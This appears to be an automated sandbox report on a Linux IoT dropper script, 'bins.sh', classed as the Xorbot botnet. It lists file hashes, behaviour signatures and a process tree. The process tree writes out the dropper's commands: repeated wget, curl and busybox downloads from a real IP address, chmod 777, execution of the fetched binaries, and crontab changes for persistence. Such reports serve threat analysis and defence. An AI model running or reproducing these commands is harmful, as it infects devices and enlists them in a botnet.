Analysis

  • max time kernel
    149s
  • max time network
    139s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01-12-2024 04:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    43a7e0e0ca8aa63651fa7f672e7fafd2

  • SHA1

    d584eafdf115abfb917f067045c128f844b16274

  • SHA256

    733dcd188e273babf0c1afe8c2482c6cb61d75171cb0feb800f95c5ffa1f4f86

  • SHA512

    96ecbce3c068b3bc8739e59b2d896e47cb893c309119408a033947484cbd3bc4892bd92ed98b6574817d65bc8f8ee7172626ce74b8d915504fa4bd0a6236bc3a

  • SSDEEP

    96:YD1++8dZyJ0JC99KjtJFuVBbcFYVBCF7gzjtfKZgtXDWA++8dZ0mRZ:Q++8dZyJ0JCzcJEVu2wW9++8dZvZ

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1288) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:664
        • /usr/bin/wget
          wget http://216.126.231.240/bins/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • Writes file to tmp directory
          PID:666
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:687
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • Writes file to tmp directory
          PID:689
        • /bin/chmod
          chmod 777 UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • File and Directory Permissions Modification
          PID:690
        • /tmp/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          ./UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • Executes dropped EXE
          PID:691
        • /bin/rm
          rm UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
            PID:693
          • /usr/bin/wget
            wget http://216.126.231.240/bins/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • Writes file to tmp directory
            PID:694
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:697
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • Writes file to tmp directory
            PID:704
          • /bin/chmod
            chmod 777 pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • File and Directory Permissions Modification
            PID:707
          • /tmp/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            ./pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:709
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:711
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:712
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:714
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:715
                • /bin/rm
                  rm pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
                  2⤵
                    PID:719
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
                    2⤵
                      PID:723
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
                      2⤵
                        PID:725
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
                        2⤵
                        • Writes file to tmp directory
                        PID:807
                      • /bin/chmod
                        chmod 777 X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
                        2⤵
                        • File and Directory Permissions Modification
                        PID:819
                      • /tmp/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
                        ./X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
                        2⤵
                        • Executes dropped EXE
                        PID:821
                      • /bin/rm
                        rm X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
                        2⤵
                          PID:822
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                          2⤵
                            PID:823
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                            2⤵
                              PID:825
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                              2⤵
                              • Writes file to tmp directory
                              PID:827
                            • /bin/chmod
                              chmod 777 mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                              2⤵
                              • File and Directory Permissions Modification
                              PID:832
                            • /tmp/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                              ./mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                              2⤵
                              • Executes dropped EXE
                              PID:834
                            • /bin/rm
                              rm mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                              2⤵
                                PID:835
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                                2⤵
                                • System Network Configuration Discovery
                                PID:836
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                                2⤵
                                • System Network Configuration Discovery
                                PID:838
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:841
                              • /bin/chmod
                                chmod 777 UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                                2⤵
                                • File and Directory Permissions Modification
                                PID:844
                              • /tmp/UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                                ./UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                                2⤵
                                • Executes dropped EXE
                                • System Network Configuration Discovery
                                PID:845
                              • /bin/rm
                                rm UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                                2⤵
                                • System Network Configuration Discovery
                                PID:848
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                                2⤵
                                  PID:849
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                                  2⤵
                                    PID:853

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /tmp/UiPjiJzt4hskryCUcwrziIw4eaUimncATN

                                  Filesize

                                  111KB

                                  MD5

                                  701e7a55a4f3650f5feee92a9860e5fc

                                  SHA1

                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                  SHA256

                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                  SHA512

                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                • /tmp/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /var/spool/cron/crontabs/tmp.zQtXqa

                                  Filesize

                                  210B

                                  MD5

                                  fd1b2bd0d686468eb762ce0826d24f97

                                  SHA1

                                  6289c8b5a29c010661ba862d4bea1d53a9585e46

                                  SHA256

                                  2d2e6cee99fa85aa305c862d59c0a43fdd6b14ccc26256aecf9e5c4c31021180

                                  SHA512

                                  ce9cc4cf7b8ee366a876ec103860f7469c02be642de1992fba39327723f11624876a55e601aa3bec500259477110202ca31c7782c2a1f50df487b0bd5dc9f673